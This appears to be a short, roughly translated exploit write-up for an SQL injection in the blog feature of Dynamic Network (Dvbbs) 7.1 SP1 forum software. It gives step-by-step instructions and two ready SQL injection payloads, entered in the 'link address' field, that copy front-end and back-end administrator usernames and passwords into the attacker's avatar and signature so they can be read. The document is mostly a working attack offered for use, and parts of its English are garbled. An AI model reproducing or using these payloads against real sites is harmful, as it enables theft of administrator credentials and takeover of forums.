Dynamic Network 7.1 SP1 SQL blog Vulnerability

For the SQL version of the dynamic network 7.1 system. Open the blog feature
Login http://bbs.xxx.com/bokeindex.asp
Click "blog management" and set keywords after logging on.
Write the dynamic network SQL Injection statement in "link address ".
Example: 123123 'where 1 = 0; update dv_user set userface = (select top 1 username from dv_user where userclass = 'admin '), usersign = (select top 1 userpassword from dv_user where userclass = 'postmaster ') Where username = 'four-eye-removal I '--
Submit the modification. After the submission is successful, go to the mobile network forum homepage and log on to your member account, open "Modify basic information" in "User Control Panel", and you can see that the displayed front-end Administrator account and password have been displayed in the custom avatar and signature.

2. Obtain the username and password of the background administrator, and place them in the Custom profile picture and signature respectively. You can view the user's basic information.
123123 'where 1 = 0; update dv_user set userface = (select top 1 username from dv_admin), usersign = (select top 1 password from dv_admin) Where username = 'four eyes new '--
BCT has released a security patch in March 8 ....
The current success rate is not very high. Set up verification on your own.